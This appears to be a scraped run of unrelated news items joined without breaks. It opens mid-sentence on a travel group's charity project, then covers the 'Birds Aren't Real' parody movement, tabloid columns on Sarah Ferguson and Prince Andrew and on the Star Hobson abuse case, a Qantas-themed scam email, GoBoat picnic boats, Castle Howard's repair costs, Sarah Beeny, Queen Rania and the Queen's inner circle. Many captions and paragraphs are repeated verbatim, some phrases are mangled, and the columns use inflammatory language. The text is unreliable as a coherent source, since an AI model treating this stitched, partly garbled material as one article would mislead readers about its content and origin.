in every life. Each year our travel group leaves behind a project. Our 2022 group project will be to assist the Salima School for the Blind in Malawi. We strive to make our project days memorable and bring lasting change. There are many ways to support this great initiative. You can support from you own home or travel with us to Tanzania. Please email me directly for further information at lois@cudifference.com. Taylor Lorenz The New York TimesDecember 9, 2021In Pittsburgh, Memphis and Los Angeles, massive billboards recently popped up declaring, Birds Arent Real.On Instagram and TikTok, Birds Arent Real accounts have racked up hundreds of thousands of followers, and YouTube videos about it have gone viral.Last month, Birds Arent Real adherents even protested outside Twitters headquarters in San Francisco to demand that the company change its bird logo.The events were all connected by a Gen Z-fueled conspiracy theory, which posits that birds dont exist and are really drone replicas installed by the U.S. government to spy on Americans. Hundreds of thousands of young people have joined the movement, wearing Birds Arent Real T-shirts, swarming rallies and spreading the slogan.It might smack of QAnon, the conspiracy theory that the world is controlled by an elite cabal of child-trafficking Democrats. Except that the creator of Birds Arent Real and the movements followers are in on a joke: They know that birds are, in fact, real and that their theory is made up.What Birds Arent Real truly is, they say, is a parody social movement with a purpose. In a post-truth world dominated by online conspiracy theories, young people have coalesced around the effort to thumb their nose at, fight and poke fun at misinformation. Its Gen Zs attempt to upend the rabbit hole with absurdism.Its a way to combat troubles in the world that you dont really have other ways of combating, said Claire Chronis, 22, a Birds Arent Real organizer in Pittsburgh. My favorite way to describe the organization is fighting lunacy with lunacy.At the center of the movement is Peter McIndoe, 23, a floppy-haired college dropout in Memphis who created Birds Arent Real on a whim in 2017. For years, he stayed in character as the conspiracy theorys chief believer, commanding acolytes to rage against those who challenged his dogma. But now, Mr. McIndoe said in an interview, he is ready to reveal the parody lest people think birds really are drones.Dealing in the world of misinformation for the past few years, weve been really conscious of the line we walk, he said. The idea is meant to be so preposterous, but we make sure nothing were saying is too realistic. Thats a consideration with coming out of character.Most Birds Arent Real members, many of whom are part of an on-the-ground activism network called the Bird Brigade, grew up in a world overrun with misinformation. Some have relatives who have fallen victim to conspiracy theories. So for members of Gen Z, the movement has become a way to collectively grapple with those experiences. By cosplaying conspiracy theorists, they have found community and kinship, Mr. McIndoe said.Birds Arent Real is not a shallow satire of conspiracies from the outside. It is from the deep inside, he said. A lot of people in our generation feel the lunacy in all this, and Birds Arent Real has been a way for people to process that.Cameron Kasky, 21, an activist from Parkland, Fla., who helped organize the March for Our Lives student protest against gun violence in 2018 and is involved in Birds Arent Real, said the parody makes you stop for a second and laugh. In a uniquely bleak time to come of age, it doesnt hurt to have something to laugh about together.Mr. McIndoe, too, marinated in conspiracies. For his first 18 years, he grew up in a deeply conservative and religious community with seven siblings outside Cincinnati, then in rural Arkansas. He was home-schooled, taught that evolution was a massive brainwashing plan by the Democrats and Obama was the Antichrist, he said.He read books like Remote Control, about what it said were hidden anti-Christianity messages from Hollywood. In high school, social media offered a gateway to mainstream culture. Mr. McIndoe began watching Philip DeFranco and other popular YouTubers who talked about current events and pop culture, and went on Reddit to find new viewpoints.I was raised by the internet, because thats where I ended up finding a lot of my actual real-world education, through documentaries and YouTube, Mr. McIndoe said. My whole understanding of the world was formed by the internet.By the time Mr. McIndoe left home for the University of Arkansas in 2016, he said, he realized he wasnt the only young person forced to straddle multiple realities.Here are more fascinating tales you cant help but read all the way to the end.Then in January 2017, Mr. McIndoe traveled to Memphis to visit friends. Donald J. Trump had just been sworn in as president, and there was a womens march downtown. Pro-Trump counterprotesters were also there. When Mr. McIndoe saw them, he said, he ripped a poster off a wall, flipped it over and wrote three random words: Birds Arent Real.It was a spontaneous joke, but it was a reflection of the absurdity everyone was feeling, he said.Mr. McIndoe then walked around and improvised the Birds Arent Real conspiracy lore. He said he was part of a greater movement that believed that birds had been replaced with surveillance drones and that the cover up began in the 1970s. Unbeknown to him, he was filmed and the video posted on Facebook. It went viral, especially among teenagers in the South.In Memphis, Birds Arent Real graffiti soon showed up. Photos of the phrases being scrawled on chalkboards and the walls of local high schools surfaced. People made Birds Arent Real stickers.Mr. McIndoe decided to lean into Birds Arent Real. I started embodying the character and building out the world this character belonged to, he said. He and Connor Gaydos, a friend, wrote a false history of the movement, concocted elaborate theories and produced fake documents and evidence to support his wild claims.It basically became an experiment in misinformation, Mr. McIndoe said. We were able to construct an entirely fictional world that was reported on as fact by local media and questioned by members of the public.Mr. Gaydos added, If anyone believes birds arent real, were the last of their concerns, because then theres probably no conspiracy they dont believe.In 2018, Mr. McIndoe dropped out of college and moved to Memphis. To build Birds Arent Real further, he created a flyer that shot to the top of Reddit. He hired an actor to portray a former C.I.A. agent who confessed to working on bird drone surveillance; the video has more than 20 million views on TikTok. He also hired actors to represent adult bird truthers in videos that spread all over Instagram.Sign Up for The Great Read Every weekday, we recommend one piece of exceptional writing from The Times a narrative or essay that takes you someplace you might not expect to go. Get it sent to your inbox.That same year, Mr. McIndoe began selling Birds Arent Real merchandise. The money, totaling several thousand dollars a month, helps Mr. McIndoe and Mr. Gaydos cover their living expenses.All the money from our merch lineup goes into making sure me and Connor can do this full time, Mr. McIndoe said. We also put the money into the billboards, flying out members of the Bird Brigade to rallies. None of the proceeds go to anything harmful.To adults with concerns about Mr. McIndoes tactics, researchers said any harms were most likely minimal.You have to weigh the potential negative effects with any of this stuff, but in this case it is so extremely small, said Joshua Citarella, an independent researcher who studies internet culture and online radicalization in youth. Allowing people to engage in collaborative world building is therapeutic because it lets them disarm conspiracism and engage in a safe way.Mr. McIndoe said he kept the concerns top of mind. Everything weve done with Birds Arent Real is made to make sure it doesnt tip into where it could have a negative end result on the world, he said. Its a safe space for people to come together and process the conspiracy takeover of America. Its a way to laugh at the madness rather than be overcome by it.The effort has been cathartic for young people including Heitho Shipp, 22, a Pittsburgh resident.Most conspiracy theories are fueled by hate or distrust or one powerful leader, but this is about finding an outlet for our pain, she said. She added that the movement was more about media literacy.Birds Arent Real members have also become a political force. Many often join up with counterprotesters and actual conspiracy theorists to de-escalate tensions and delegitimize the people they are marching alongside with irreverent chants.In September, shortly after a restrictive new abortion law went into effect in Texas, Birds Arent Real members showed up at a protest held by anti-abortion activists at the University of Cincinnati. Supporters of the new law had signs with very graphic imagery and were very aggressive in condemning people, Mr. McIndoe said. It led to arguments.But the Bird Brigade began chanting, Birds arent real. Their shouts soon overpowered the anti-abortion activists, who left.Mr. McIndoe now has big plans for 2022. Breaking character is necessary to help Birds Arent Real leap to the next level and forswear actual conspiracy theorists, he said. He added that he hoped to collaborate with major content creators and independent media like Channel 5 News, which is aimed at helping people make sense of Americas current state and the internet.I have a lot of excitement for what the future of this could be as an actual force for good, he said. Yes, we have been intentionally spreading misinformation for the past four years, but its with a purpose. Its about holding up a mirror to America in the internet age.Taylor Lorenz is a technology reporter in Los Angeles covering tech culture and online creators. Before joining The New York Times, she was a technology and culture writer at The Atlantic. @taylorlorenzA version of this article appears in print on Dec. 10, 2021, Section A, Page 1 of the New York edition with the headline: A Gen Z Conspiracy With Wings, and a Wink. I haven't felt so queasy watching a disgraced royal on the telly since Randy Andy tried to defend his relationship with the depraved paedo Jeffrey Epstein to Emily Maitlis in THAT public life-ending Newsnight interview. Sarah Ferguson went on an Italian chat show overnight to exclaim she stands '100 per cent' behind her ex-husband/BFF/boyfriend/live-in lover as they continue to 'grow together' because he's the 'best man in the world'. 'I believe that the love I have for him and he has for me is just very different from what normal people have,' she said, staring down her nose at us unenlightened mere mortals who might think the best type of love is a committed marriage where your hubby doesn't fly halfway around the world to stay at the house of America's most notorious sexual criminal AFTER his release from prison. With a straight face, Fergie went on: 'It really is our own fairytale and it's our own lives, how we like to be, with total respect and honour to each other.' I'm sorry, Fergie, your relationship with Prince Andrew is a fairytale in the same way Meghan Markle is a selfless soul who puts others first and always tells the truth. You are both disgraced public figures who have ended up back in each other's lives by necessity and little else. I haven't felt so queasy watching a disgraced royal on the telly since Randy Andy tried to defend his relationship with the depraved paedo Jeffrey Epstein to Emily Maitlis in THAT public life-ending Newsnight interview. Pictured: The Yorks at Ascot in 2019 Thanks to the generosity of his mummy, the Duke of York has provided you a grace-and-favour mansion and proximity to the trappings of royal life for years, even though he won't formalise your uncomfortable and odd relationship. What does he get in return? Unfailing loyalty. You are now the only person in his life willing to support him publicly over his abominable handling of the Epstein saga. Now, look, I admit Fergie herself is a likeable enough character more naive than nasty; more silly than snide. That's why most royal courtiers don't take seriously her campaign to rehabilitate her ex-hubby ahead of his almost comical plans for a comeback. But the seriousness of the sexual allegations facing Prince Andrew, including an ongoing civil case being brought by his accuser Virginia Roberts, which he has always strongly denied in full, makes Fergie's constant public declarations of love without addressing the crux of the friendship with Epstein someone who she borrowed money from difficult to swallow. What does he get in return? Unfailing loyalty. You are now the only person in his life willing to support him publicly over his abominable handling of the Epstein (pictured) saga For the former Duchess to continue to bury her head in the sand about the perilous situation her husband is in and the amount he needs to do to try and rescue his reputation isn't helping anyone. What we got during her appearance on Italian show Porta a Porta to promote her bodice-ripper novel Her Heart for a Compass was non-stop platitudes. Prince Charles has long been mortified at his shamed younger brother's odd on again/off again relationship with Fergie, someone who he believes has delivered the monarchy regular embarrassment since the 1980s. Pictured: Dan Wootton 'He is such a kind, great man, he is a brilliant father and now a fantastic grandfather,' she wittered to presenter Bruno Vespa. 'I feel very strongly that in this day and age that we must stand by our hearts, what we think is right with integrity and honour and loyalty.' When asked about the happiest time in her life, she trotted out a well-rehearsed answer, insisting: '3rd July 1986, when I married the best man in the world. I was the luckiest girl in the world. It was truly a fairy-tale because I was marrying a prince. First of all, I was marrying a man, then I was marrying a naval officer, and then I was marrying a Prince and he was very good looking, a handsome prince from all the fairytales, he even had the sword.' No one within the royal family the Queen aside thinks there's anything fairytale-like about Fergie and Andrew's relationship. Quite the opposite, in fact. Prince Charles has long been mortified at his shamed younger brother's odd on again/off again relationship with Fergie, someone who he believes has delivered the monarchy regular embarrassment since the 1980s. But his position has hardened because of the impact the catastrophic Epstein scandal has had on the institution. Prince William is said to view his uncle as a 'risk' and 'threat to the family'. Sarah Ferguson, 62, who is commonly known as Fergie, pictured, shared an animated discussion with Italian presenter Bruno Vespa The Duke of Cambridge is so angry about the whole set-up he's privately expressed a long-term desire for Andrew and Fergie to move out of Royal Lodge, the sprawling 30-room mansion just three miles away from the Queen at Windsor Castle, a prized property that was home to the Queen Mother from 1952 until her death in 2002. It's not hard to see why the situation rankles the second-in-line to the throne, given that Andrew is no longer a working Royal, having been forcibly retired, and Fergie has taken the p*ss, according to some courtiers, by even using the residence in a recent PR campaign for her book. If Fergie REALLY loves Prince Andrew, she only has two choices. Insist he flies to New York immediately and cooperates with the FBI, come what may. Or pack him off to a tiny cottage where he costs the Royal Family and taxpayers nothing and where he can quietly conduct charity work out of the public gaze without embarrassing his poor mother further. But, once again, this gauche pair will put maintaining their own extravagant lifestyles ahead of anything else. And live unhappily ever after in disgrace. As a long-time campaigner against child abuse and domestic violence, I have seen many appalling examples of cruelty. But the sadistic torture of little Star Hobson in the months before her death will stick in my mind for a long time. My anger about what happened to that poor child - just 16 months old when she died at the hands of her own mother, Frankie Smith, and Smiths thuggish partner Savannah Brockhill - burns all the more fiercely due to one key aspect of the case. This is that Stars death might have been avoided had the social workers and police officers involved not capitulated in such a cowardly fashion to the forces of political correctness. Normally I baulk at that phrase, because it implies that minorities are somehow over-sensitive in not wanting to be discriminated against or abused. As a lesbian who has faced my own share of homophobic attacks, I understand that reasonable wish. But there is no doubt that in Stars tragic tale those who should have saved her - and who were being paid to do so by the taxpayer - failed in their duty because they were too keen to toe a liberal line. On no fewer than five occasions, frantic friends and relatives raised their concerns with the authorities about Stars life at home, before former boxer Brockhill - after torturing the toddler for weeks - finally punched, stamped on or kicked her in the abdomen, rupturing a vein which led to the catastrophic internal bleeding that killed her. Yet, unforgivably, social services in West Yorkshire accepted Smiths lies that the complaints were malicious because Stars great-grandparents, Anita Smith and David Fawcett, supposedly did not approve of Smith and Brockhills same-sex relationship or Brockhills traveller background. There is no doubt that in Stars tragic tale those who should have saved her - and who were being paid to do so by the taxpayer - failed in their duty because they were too keen to toe a liberal line My anger about what happened to that poor child - just 16 months old when she died at the hands of her own mother, Frankie Smith, and Smiths thuggish partner Savannah Brockhill - burns all the more fiercely due to one key aspect of the case This was nonsense: Anita and David simply wanted to protect the baby they loved, saying this week: There was no malice on our part. However, despite the mountain of evidence, the authorities evidently winced at the terrible prospect of having to dig too deeply into a household where the individuals concerned came from two vulnerable minorities. After all, they seem to have thought, we dont want to be thought racist and homophobic. Yesterday, Brockhill was sentenced to 25 years in prison and Smith to eight years, reflecting Brockhills greater culpability in the crime. I am disgusted but not surprised that these cruel women weaponised their sexuality and Brockhills ethnicity in this self-serving way. But let me be clear: their sexuality and ethnicity have nothing to do with any of this. Partners in death: Savannah Brockhill, 28 and Frankie Smith, 20, have both been convicted over killing Star Hobson They were abusers: that is all. And long experience shows that abusers will try any trick to cover up their crimes. It is the job of those charged with rooting out the abusers not to allow themselves to be manipulated, as seems to have happened in this case. What a tragic waste, and what an indictment of how the best intentions to avoid discrimination or prejudice can have the most terrible consequences. In fairness to those including doctors as well as police and social services who had to sort fact from fiction in the awful circumstances of Stars death, some of the evidence in favour of Smith and Brockhills innocence might initially have seemed persuasive. Such monstrous acts are far more often carried out by men, so perhaps on the face of it it seemed unlikely Smith and Brockhill could really have been responsible for the toddlers injuries. But why rely on statistics when you have the physical evidence of a child covered in bruises, with breaks to her shin caused by forceful twisting, and a 12cm crazy paving fracture to the back of her skull and fractured ribs? To me, however, the most grim parallel with Stars case is that of the child-grooming scandal in Rochdale, Greater Manchester. This, readers will remember, saw dozens of men from the towns Pakistani community raping and trafficking girls as young as 12 over a period of years. A decade ago, I was the first journalist to investigate this story. Victims told me they had given the police crucial evidence, including the car number-plates and even the addresses of the rapists, only for no action to be taken. It later became clear that, as police forces across the country were facing accusations of being institutionally racist, these complaints had been ignored for fear of stoking tensions within the local community. As a result, more than 1,400 children mainly white British girls were viciously abused by dozens of men in the gang, their lives often destroyed. Police have released a harrowing picture of one of the bruises on Star's face that sparked calls to social services from family Now we can fairly ask whether the same skewed priorities that then prevailed in Rochdales police force that being falsely accused of racism was somehow worse than allowing children to suffer terribly afflict elements of Britains liberal social-services sector as well. In todays climate of hysteria about LGBT rights and other strands of identity politics, how tempting it must be at times to turn a blind eye and accept the noisy reassurances from the accused that those making claims against them are just bigots. Yet it should be common sense and not a matter of debate that people of all ethnicities and sexualities are capable of abusing children. These details about the accused should never be used to deflect the rigorous and thorough investigation of appalling crimes. To do so is just as bad as the opposite: to assume guilt because of a defendants sexuality or race. If only more people could see this. As it is, yet another child has died in a manner almost too unbearable to think about, less than a fortnight after the nation was horrified by the tragic case of six-year-old Arthur Labinjo-Hughes, from Birmingham. Like Star, Arthur endured appalling brutality and psychological torment before he was murdered by his fathers girlfriend during the first lockdown last year. And, of course, we all remember, 14 years ago, the death of Baby P who in his short life was seen 60 times by social workers from Haringey council, along with doctors and police. So many children, so few lessons learned. In each of these cases, a lack of funding for social services was a crucial factor and this must be addressed. But so, too, must the right-on and growing misplaced sensitivity that gets in the way of justice for children such as Star. We owe children like her so much more and, tragically, she will not be the last to die until we finally start to get it right. An Australian woman who received an email claiming her Qantas flight in January has been cancelled because of an impending strike has shared her devastation online only to find she was the victim of a scam. Brittany was preparing to move overseas in the first month of 2022 and had already shipped many of her belongings when she saw the email on Saturday. 'Our Qantas flight for January has been cancelled due to a strike apparently... and we need to be out of our rental the same day we were supposed to fly in... so upset,' she wrote in a Facebook group. She booked her flights through a popular travel website and it was them - not Qantas - who had reached out to her about the flight. Brittany was preparing to move overseas in the first month of 2022 and had already shipped many of her belongings in anticipation for the move when she saw the email on Saturday 'We have been notified by the airline that, due to a strike, the flight QF 0010 is no longer operating. On behalf of the airline we apologise for any inconvenience this causes you,' the email read. It then offered Brittany a choice of either changing her flight or getting a refund. Eagle-eyed social media users were quick to point out that QF 0010 is not a flight number for the Australian airline - it's QF10 - and that should raise red flags. 'To take protected industrial action (strike) in Australia, the unions need to first apply to the Fair Work Commission to be issued with a Protected Ballot Order, which they can then vote on,' one in-the-know Australian responded. 'Only if passed can they then take industrial action. So it is quite an open process. There has been nothing on the news in Australia about Qantas workers intending to strike.' Eagle-eyed social media users were quick to point out that QF 0010 is not a flight number for the Australian airline - it's QF10 - and that should raise red flags 'Even if you booked through an agent, in my experience you would get an email direct from the airline and maybe also from the agent. Not only the agent,' said another. 'Looks dodgy. When you book with a travel agent they don't normally tell you to contact the airline directly to rebook,' a third added. Brittany, who was now worried about her booking, decided to call Qantas to get some answers for herself. 'So I spoke to Qantas after a three hour wait and the lady was useless, she was so slow and didn't really answer any of my questions,' she said. 'When I asked if she had any bad situations with the travel company before she said "no" and said we will have to "hope for the best" that no one is scamming us. 'As it stands our flight has not been cancelled.' While Brittany couldn't confirm where the email had generated from she made sure not to click any of the links attached and deleted it from her inbox. Aussies are flocking to the water this summer to try out a new boating concept: picnic cruising. 'GoBoat' has brought its electric and eco-friendly picnic boats to the country, with guests in Sydney, Melbourne and Canberra invited to bring their own platters and dine as they cruise along their nearest waterway. In Sydney, the charming boats can be caught from Cabarita Point in Sydney's west to enjoy a gentle cruise up the Parramatta River; in Melbourne they are on the Yarra River. Aussies are flocking to the water this summer to try out a new boating concept: picnic cruising GoBoat ' has brought its electric and eco-friendly picnic boats to the country, with guests in Sydney, Melbourne and Canberra invited to bring their own platters and dine as they cruise along their nearest waterway Each GoBoat can fit up to eight passengers, with shade and plenty of seating both available on-board. Those who hire the boats can also 'be their own captain', as there is no licence required to hire or drive the boat. The experience also allows you and your passengers to bring along your own Esky and picnic basket that can be packed with food and drinks for all. The boat features an array of innovative features and design elements including, a speed limited motor, tiller steering, safety equipment, bench seats, picnic tables and cup holders 'This looks like so much fun, gonna have to try this out sometime this summer,' a woman said on Instagram The boats themselves have been designed with Danish design and utilise recycled materials through it's construction The picnic boats are also powered by an innovative zero emissions electric motor that has come direct from Germany. The boat features an array of innovative features and design elements including, a speed limited motor, tiller steering, safety equipment, bench seats, picnic tables and cup holders. The company is also completely child-friendly and pet-friendly for an inclusive and fun ride the whole family will love. The boat ride is budget-friendly as it comes in at $17 per head and $129 in total for an hour cruise; they can be booked for up to five hours. Advertisement It is one of Britain's greatest stately homes and has been a favourite location for film producers since it was catapulted into the public eye as the home of the aristocratic Roman Catholic Marchmain family in the 1981 TV series Brideshead Revisited. The Baroque masterpiece Castle Howard doubled as Kensington Palace in the ITV blockbuster Victoria, starring Jenna Coleman as the monarch, and was the country seat of the Duke of Hastings, in Netflix's period drama Bridgerton. Now, its current custodians The Honourable Nicholas Howard, 69, a photographer, and his wife Victoria, have revealed that they are facing a 50million conservation deficit on the 18th mansion, which has 145 rooms spread across two wings. Over the past four months, they have opened the doors twice to film companies, in order to fund vital repairs on the 300-year-old ancestral seat, on the North Yorkshire Moors, which has been ravaged by fire, wind and rain. They've also transformed the home into a Christmas in Narnia themed event. The Baroque masterpiece Castle Howard (pictured, decked out ready for Christmas) doubled as Kensington Palace in the ITV blockbuster Victoria, starring Jenna Coleman as the monarch, and was the country seat of the Duke of Hastings, in Netflix's period drama Bridgerton Now, its current custodians The Honourable Nicholas Howard, 69, a photographer, and his wife Victoria, have revealed that they are facing a 50million conservation deficit on the 18th mansion, which has 145 rooms spread across two wings. Pictured, They've transformed the home into a Christmas in Narnia themed event Over the past four months, the couple (pictured outside their home) have opened the doors twice to film companies, in order to fund vital repairs on the 300-year-old ancestral seat, on the North Yorkshire Moors, which has been ravaged by fire, wind and rain The revelations come after the castle received a 5million 'lifeline' from the Government to maintain the 13,000-acre estate, which costs 10 million-a-year to run and retains more than 100 staff. During lockdown Castle Howard, which is crammed full of treasures including historic sculptures and Old Masters by Joshua Reynolds and Thomas Gainsborough, was forced to close its doors to its 250,000-a-year visitors and find other ways to raise money. Firstly, they invited TV host Nick Knowles to film their 1million project to replace the entire East Wing roof, restore the Arts & Crafts mural inside the dome and repair the pediment and carvings on the portico, for his Quest series Heritage Rescue. Afterwards, Channel 4's Christmas at Castle Howard followed designer Charlotte Lloyd Webber, a member of the theatrical clan, as she transformed 12 staterooms and quarter of a mile of corridors into scenes from the CS Lewis fantasy novel the Lion, the Witch and the Wardrobe. The revelations come after the castle (pictured recently) received a 5million 'lifeline' from the Government to maintain the 13,000-acre estate, which costs 10 million-a-year to run and retains more than 100 staff During lockdown Castle Howard (pictured during its Narnia themed event), which is crammed full of treasures including historic sculptures and Old Masters by Joshua Reynolds and Thomas Gainsborough, was forced to close its doors to its 250,000-a-year visitors and find other ways to raise money Firstly, they invited TV host Nick Knowles to film their 1million project to replace the entire East Wing roof, restore the Arts & Crafts mural inside the dome and repair the pediment and carvings on the portico, for his Quest series Heritage Rescue. Pictured, their Christmas event in the mansion Afterwards, Channel 4's Christmas at Castle Howard followed designer Charlotte Lloyd Webber, a member of the theatrical clan, as she transformed 12 staterooms and quarter of a mile of corridors into scenes from the CS Lewis fantasy novel the Lion, the Witch and the Wardrobe (pictured) She recreated the bedrooms of Peter, Susan, Edmund, and Lucy Pevensie, who were evacuated to the countryside from London after outbreak of WWII, and the wardrobe door leading to the fictional land Narnia (pictured at the mansion) She recreated the bedrooms of Peter, Susan, Edmund, and Lucy Pevensie, who were evacuated to the countryside from London after outbreak of WWII, and the wardrobe door leading to the fictional land Narnia. 'Obviously we've had a difficult 18 months,' Victoria, 67, a former CEO of publishing giant Harper Collins, told Channel 4. 'We've been closed a lot so we're really hoping that a bumper Christmas will seriously help. We thought about just doing an outside Christmas but we thought we would go back and do the full-on inside Christmas because the house just screams for something big. 'You've just got to milk it as much as possible really. There's a 50million conservation deficit on the place. It's incredibly expensive to keep up. 'Obviously we've had a difficult 18 months,' Victoria, 67, a former CEO of publishing giant Harper Collins, told Channel 4. Pictured, one of the dining rooms at the home Victoria added: 'We've been closed a lot so we're really hoping that a bumper Christmas will seriously help. We thought about just doing an outside Christmas but we thought we would go back and do the full-on inside Christmas because the house (pictured) just screams for something big' 'The only way we can do all that is by trying to turn it into a business. It's a worry as to how we're going to get these buildings restored and prevent further damage. 'I used to sometimes feel it took up an inordinate amount of Nick's time worrying about it. It's weighed heavily on him all his life. He doesn't know any different, put it that way.' Castle Howard was designed by Sir John Vanbrugh between 1699 and 1811 for the 3rd Earl of Carlisle and the Howards are the ninth generation of his family to live at the castle. The house was virtually destroyed in 1940 and his father George inherited a burnt-out shell on the death of his brothers during World War II, opening up the house to visitors to restore it to its former glory. Castle Howard was designed by Sir John Vanbrugh between 1699 and 1811 for the 3rd Earl of Carlisle and the Howards (pictured) are the ninth generation of his family to live at the castle The house (pictured decorated for Christmas) was virtually destroyed in 1940 and his father George inherited a burnt-out shell on the death of his brothers during World War II, opening up the house to visitors to restore it to its former glory Nick said: 'We're very lucky. To live in a house (pictured) like this is just amazingWe always feel is important that it is a family house and it's lived in by us still. There is beauty all around you. Every day probably I notice something or see something that I had forgotten about.' In a real-life drama, the Howards, who have been married since 1992, took over the running of the estate in 2014 from Nick's younger brother Simon, 65, and his second wife, Marks & Spencer heiress Rebecca. Simon was found guilty of historical child sex offences last month and was given an absolute discharge because brain damage he recently suffered in a fall at home meant he was unfit to stand trial. Nick said: 'We're very lucky. To live in a house like this is just amazingWe always feel is important that it is a family house and it's lived in by us still. There is beauty all around you. Every day probably I notice something or see something that I had forgotten about.' Christmas At Castle Howard is screened at 9pm today (December 15) on Channel 4. Nick Knowles Heritage Rescue is at 9pm on December 22 on Quest. Property entrepreneur Sarah Beeny has slammed city schools for not focusing enough on the arts - and says it was a big reason why she left London to live in rural Somerset. Appearing on This Morning today to promote the Christmas special of her show New Life in the Country on Channel 4, the television star, 49, said the four sons she shares with husband Graham Swift have a better education in the country. Beeny criticised urban schools, saying her sons' previous schools in London had treated the arts 'like a secondary subject'. Scroll down for video Property entrepreneur Sarah Beeny was on This Morning talking about the Christmas special for her show New Life in the Country on Channel 4, which documents her family's move to a 220-acre former dairy farm in Somerset Beeny told the show that 'schools in cities don't celebrate the arts' and that she wanted a country upbringing for her four sons Laurie, Charlie, Rafferty and Billy The family are busy building a new sustainable home on the rural estate - and Beeny revealed that she hopes to build a film studio on the sprawling estate in years to come to help young people who want to get into the creative industry She told the show that her four sons's previous schools in London had treated 'the arts like it's a non-subject', saying: 'My kids are really musical and it was treated like it was a non-subject. We moved for education.' She explained: 'The move to Somerset was mainly because I wanted the kids to go to a school where the arts were celebrated. 'I feel there's a lot of pressure in cities...for me, I think a lot of education treats the arts like it's a secondary subject. There are plenty of careers in the arts.' She continued: 'To treat the arts like it's a non-subject is ridiculous. My kids are really musical and it was treated like it was a non-subject. So, we moved for education.' The star joked that her show, New Life in the Country, which documents the family's progress as they build a new sustainable stately home in the country, is 'nonsense', saying: 'It is a bit of nonsense to be honest and it's our life and we're having a lovely time but it's not been all plain sailing.' 'There are plenty of careers in the arts' The property expert said the arts were close to the family's hearts and that education in the country was more arts-focused The family all star in New Life in the Country, as their dream of building a modern, sustainable five-bedroom stately home is realised Learning curve: Beeny said 'I assumed I understood everything about the countryside' but admits that their ambitious project hasn't all been plain sailing Alongside a zip wire, the boys will also get a tree house, which is the subjct of the show's Christmas special The project has taken years to go from plans to fruition, with the first series of the show documenting how the couple intended to build their dream home - now they're well on their way to finishing the project The couple and their four children, Laurie, Charlie, Rafferty and Billy, all star in the series, pitching in to help as they transform a semi-derelict former dairy farm on 220 acres of Somerset countryside into their luxury dream house - dubbed a 'contemporary take on the classical English stately home'. So far they've planted 20,000 trees in the extensive farmland surrounding their home and installed a bee farm and a zip wire with a treehouse the subject of the upcoming Christmas show. Criticism: Some viewers tuning into the latest series have said the show is jarring at a time when many are facing food poverty Beeny told This Morning hosts Vernon Kay and Rochelle Humes that life in the country had been a steep learning curve, despite the fact she had a rural childhood, saying she underestimated how much mud there would be, saying: 'I assumed I understood everything about the countryside.' The Channel 4 show has come in for some criticism since it began airing in November. Some viewers have said watching the Beeny family realise their regal dream is jarring when so many people are facing poverty in the UK. The second episode of the show saw the couple pose for a 3-D scanner to create busts of their own heads with Beeny admitting she thinks her husband secretly loves the idea of being a 'lord of the manor'. Queen Rania has shared a heartwarming photo of the Jordanian Royal family to celebrate the end of 2021. The 51-year-old wife of Jordan's King Abdullah II, shared the image to her 6.5million Instagram followers. It shows the mother-of-four looking elegant in a white dress as she proudly poses with her family - husband, King Abdullah II, and children, Crown Prince Hussein, 27, Prince Hashem, 16, Princess Iman, 25, and Princess Salma, 21. Pictured in the centre with her husband, King Abdullah II, she stands with her four children, from left to right: Princess Iman, 25, Prince Hashem, 16, Princess Salma, 21, and Prince Al Hussein, 27 She captioned the photo: 'May the threads of happiness, hope and good health weave together your New Year.' The tapestry-themed caption refers to a video that Queen Rania also shared on her social media profile, which showed the process behind the making of her festive greeting cards this year. The footage shows the Queen of Jordan working with artisans from across the middle-eastern nation to work embroidery into the cards. She described the clip to her following: 'Our greeting cards this year carry different embroidery patterns from our traditional thobes. Queen Rania at a dinner banquet in November, held in honour of an official visit to Jordan by Prince Charles and the Duchess of Cornwall 'Individually, each presents a part of our diverse cultural heritage, but combined they create the rich and resilient tapestry that is Jordan 'Over the past few months, we worked with a group of talented artisans from around Jordan who channeled their passion and patriotism into each piece of embroidery - grateful to each one of you!' Jordanian thobes are embroidered traditional garments, an ankle length dress with long sleeves worn by both men and women. The Duchess of Cornwall pictured with Queen Rania as they go into a dinner banquet to celebrate the British Royal tour of the Middle East It's believed the photograph was taken at their home, Al-Maquar, in Amman, Jordan. The glamorous mother-of-four wore a long white dress with bell-sleeves and a blue and white striped waistband. She accessorised the flowing number with a brown striped belt and simple eye make-up and flushed cheeks. Prince Charles, left, pictured with King Abdullah II of Jordan, and his wife Queen Rania in November as part of the British Royal tour of the middle east Her light-brown hair looked voluminous as ever in big bouncy waves, as she proudly stands next to her loved ones. Last month she welcomed Prince Charles and the Duchess of Cornwall to Jordan during their Royal tour of the Middle East. The Prince of Wales and Duchess of Cornwall attended the Centenary Celebration of the founding of the Jordanian state at the Jordan Museum in Amman with Queen Rania and King Abdullah II. The Queen has very 'good judgement' and is 'chatty with those she trusts' in her inner circle, according to a royal insider. Her Majesty, 95, who lost her husband of 73 years, Prince Philip, in April, has an intimate 'bubble' of people she's close to, reported PEOPLE, including her ladies-in-waiting like Lady Susan Hussey, whom she's known for six decades. Lady Annabel Whitehead, Lady Elizabeth Leeming and Prince Charles's nanny Mabel Anderson are also reported to be in her inner circle, according to the magazine. Meanwhile, Paul Whybrew, the Queens favourite courtier who is known as Tall Paul due to his 6ft 4in frame and her dresser Angela Kelly are said to be a near constant presence by her side. The Queen (pictured in October) has very 'good judgement' and is 'chatty with those she trusts' in her inner circle, according to a royal insider 'The Queen can go from being magisterial to chatty with those she trusts. She has good judgement once she trusts people and once she does it is very easy,' said a royal insider to the publication. Staffers within the Queen's COVID 'bubble' reportedly insist it is a 'cheerful place', the insider added. They said: 'Those who are in it cherish their place. They are a support for the Queen and someone that they can have a laugh with and she can talk about the issues of the day.' The Queen is also often visited by her son Prince Edward and his wife Sophie, Countess of Wessex, who live a short drive away at Bagshot Park with their two children. Her Majesty's second eldest son Prince Andrew, who lives nearby at Royal Lodge, is also thought to regularly visit. Her Majesty, 95, who lost her husband of 73 years, Prince Philip, in April, has an intimate 'bubble' of people she's close to, reported PEOPLE, including her ladies-in-waiting like Lady Susan Hussey (pictured together in 2016), whom she's known for six decades Today sources revealed the Queen will host the annual Royal Family Christmas lunch on Tuesday despite fears over the Omicron Covid variant. The monarch is pressing on with the event at Windsor Castle, which is expected to welcome 50 or so relatives, including Prince Charles and Camilla. And while three of her four new great-grandchildren - August, Lucas and Sienna - are expected to attend, Prince Harry and Meghan Markle, and their son Archie and newborn Lilibet, also born this year, will remain in the US. The Queen's annual Christmas lunch, usually held at Buckingham Palace, had to be called off last year amid tougher Covid restrictions - but moves to cancel the event this year are reportedly being resisted. One day after the festive party, which will feature 